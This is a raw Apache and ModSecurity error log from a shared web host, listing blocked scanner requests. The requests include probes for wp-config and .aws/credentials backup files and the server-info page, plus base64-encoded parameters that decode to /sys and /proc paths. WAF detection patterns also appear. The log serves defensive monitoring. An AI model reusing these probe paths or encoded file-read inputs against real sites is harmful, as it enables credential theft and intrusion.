https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:16:15.995194 2026] [access_compat:error] [pid 646876:tid 646976] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:16:16.035261 2026] [access_compat:error] [pid 646876:tid 646913] [remote 57.141.14.72:24177] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:16.035720 2026] [access_compat:error] [pid 646876:tid 646913] [remote 57.141.14.72:24177] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:16.068879 2026] [security2:error] [pid 646876:tid 646996] [remote 17.241.219.30:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 30.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y0NyTkdrNlD40tSGm8gAARnU"] [Sat Jun 13 18:16:16.082590 2026] [security2:error] [pid 646876:tid 647029] [client 216.73.216.77:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/dir/chdir_basic.phpt"] [unique_id "ai3y0NyTkdrNlD40tSGm8wAAABU"] [Sat Jun 13 18:16:16.099596 2026] [access_compat:error] [pid 648189:tid 648226] [remote 57.141.14.20:40658] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:16.100031 2026] [access_compat:error] [pid 648189:tid 648226] [remote 57.141.14.20:40658] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:16.240054 2026] [access_compat:error] [pid 648189:tid 648285] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:16:16.240681 2026] [access_compat:error] [pid 648189:tid 648285] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:16:16.242814 2026] [security2:error] [pid 648189:tid 648331] [remote 17.246.23.72:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 72.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y0FWSojQL4F7upKBbCQAAi2w"] [Sat Jun 13 18:16:16.293172 2026] [security2:error] [pid 648189:tid 648438] [client 185.177.72.9:13540] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config.php.bak"] [unique_id "ai3y0FWSojQL4F7upKBbCwAAANk"] [Sat Jun 13 18:16:16.359069 2026] [access_compat:error] [pid 646876:tid 646937] [remote 57.141.14.53:20120] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:16.359341 2026] [access_compat:error] [pid 646876:tid 646937] [remote 57.141.14.53:20120] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:16.519800 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9ldmVudDUvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:16:16.520078 2026] [access_compat:error] [pid 646876:tid 646957] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9ldmVudDUvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:16:16.612979 2026] [access_compat:error] [pid 648189:tid 648301] [remote 57.141.14.47:56538] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:16.613430 2026] [access_compat:error] [pid 648189:tid 648301] [remote 57.141.14.47:56538] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:16.714952 2026] [security2:error] [pid 646876:tid 647016] [client 185.177.72.9:13544] ModSecurity: Access denied with code 406 (phase 2). Match of "ipMatch 127.0.0.1,::1" against "REMOTE_ADDR" required. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "724"] [id "340114"] [rev "2"] [msg "Atomicorp.com WAF Rules: Apache admin service access attempt"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/server-info"] [unique_id "ai3y0NyTkdrNlD40tSGnAwAAAAg"] [Sat Jun 13 18:16:16.756674 2026] [access_compat:error] [pid 648189:tid 648284] [remote 57.141.14.105:56534] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:16.756982 2026] [access_compat:error] [pid 648189:tid 648284] [remote 57.141.14.105:56534] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:16.893866 2026] [security2:error] [pid 648189:tid 648309] [remote 17.22.237.177:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 177.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y0FWSojQL4F7upKBbGQAAulc"] [Sat Jun 13 18:16:16.941131 2026] [security2:error] [pid 646876:tid 646912] [remote 17.241.219.223:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y0NyTkdrNlD40tSGnDgAAIiE"] [Sat Jun 13 18:16:17.002542 2026] [security2:error] [pid 646876:tid 647070] [client 185.177.72.9:13544] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/config.php.save"] [unique_id "ai3y0dyTkdrNlD40tSGnFAAAAD4"] [Sat Jun 13 18:16:17.015711 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:16:17.016165 2026] [access_compat:error] [pid 646876:tid 646904] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9pbnB1dDA= [Sat Jun 13 18:16:17.151001 2026] [security2:error] [pid 646876:tid 646925] [remote 17.241.219.199:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 199.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y0dyTkdrNlD40tSGnHQAAZi4"] [Sat Jun 13 18:16:17.221086 2026] [security2:error] [pid 646876:tid 646888] [remote 132.255.164.117:44958] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 117.164.255.132.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "djstardao.com"] [uri "/wp-login.php"] [unique_id "ai3y0dyTkdrNlD40tSGnHwAAHgk"] [Sat Jun 13 18:16:17.271555 2026] [access_compat:error] [pid 648189:tid 648302] [remote 57.141.14.90:63918] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:17.272044 2026] [access_compat:error] [pid 648189:tid 648302] [remote 57.141.14.90:63918] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:17.274158 2026] [security2:error] [pid 648189:tid 648482] [client 185.177.72.9:13552] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/pi.php"] [unique_id "ai3y0VWSojQL4F7upKBbIQAAAQA"] [Sat Jun 13 18:16:17.531410 2026] [access_compat:error] [pid 646876:tid 646966] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:16:17.531855 2026] [access_compat:error] [pid 646876:tid 646966] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZQ== [Sat Jun 13 18:16:17.536664 2026] [access_compat:error] [pid 648189:tid 648296] [remote 57.141.14.83:25906] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:17.537118 2026] [access_compat:error] [pid 648189:tid 648296] [remote 57.141.14.83:25906] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:17.541362 2026] [security2:error] [pid 648189:tid 648466] [client 185.177.72.9:13560] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/wp-config.php.bak"] [unique_id "ai3y0VWSojQL4F7upKBbJAAAAPA"] [Sat Jun 13 18:16:17.808305 2026] [security2:error] [pid 648189:tid 648453] [client 185.177.72.9:13564] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/test.php"] [unique_id "ai3y0VWSojQL4F7upKBbLQAAAOc"] [Sat Jun 13 18:16:18.047765 2026] [access_compat:error] [pid 648189:tid 648227] [remote 216.73.216.182:47156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:18.048183 2026] [access_compat:error] [pid 648189:tid 648227] [remote 216.73.216.182:47156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:18.059237 2026] [access_compat:error] [pid 646876:tid 646906] [remote 57.141.14.68:48946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:18.059511 2026] [access_compat:error] [pid 646876:tid 646906] [remote 57.141.14.68:48946] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:18.083246 2026] [security2:error] [pid 648189:tid 648425] [client 185.177.72.9:13578] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/wp-config.php.backup"] [unique_id "ai3y0lWSojQL4F7upKBbNAAAAMw"] [Sat Jun 13 18:16:18.101293 2026] [access_compat:error] [pid 646876:tid 646941] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:16:18.101661 2026] [access_compat:error] [pid 646876:tid 646941] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvY2FwYWJpbGl0aWVz [Sat Jun 13 18:16:18.183145 2026] [access_compat:error] [pid 648189:tid 648221] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:16:18.183577 2026] [access_compat:error] [pid 648189:tid 648221] [remote 74.7.242.16:39450] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2 [Sat Jun 13 18:16:18.300885 2026] [access_compat:error] [pid 648189:tid 648280] [remote 57.141.14.97:47042] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:18.301240 2026] [access_compat:error] [pid 648189:tid 648280] [remote 57.141.14.97:47042] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:18.477776 2026] [security2:error] [pid 648189:tid 648312] [remote 17.246.15.117:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 117.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y0lWSojQL4F7upKBbQgAA0Fo"] [Sat Jun 13 18:16:18.564453 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:16:18.564893 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9kZXZpY2U= [Sat Jun 13 18:16:18.670461 2026] [security2:error] [pid 648189:tid 648231] [remote 17.246.23.31:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 31.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y0lWSojQL4F7upKBbSQAAkAs"] [Sat Jun 13 18:16:18.849271 2026] [security2:error] [pid 648189:tid 648324] [remote 17.22.253.48:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 48.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y0lWSojQL4F7upKBbTgAAumU"] [Sat Jun 13 18:16:18.922444 2026] [security2:error] [pid 648189:tid 648375] [client 185.177.72.9:13588] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.aws/credentials.bak"] [unique_id "ai3y0lWSojQL4F7upKBbTwAAAJs"] [Sat Jun 13 18:16:19.106971 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 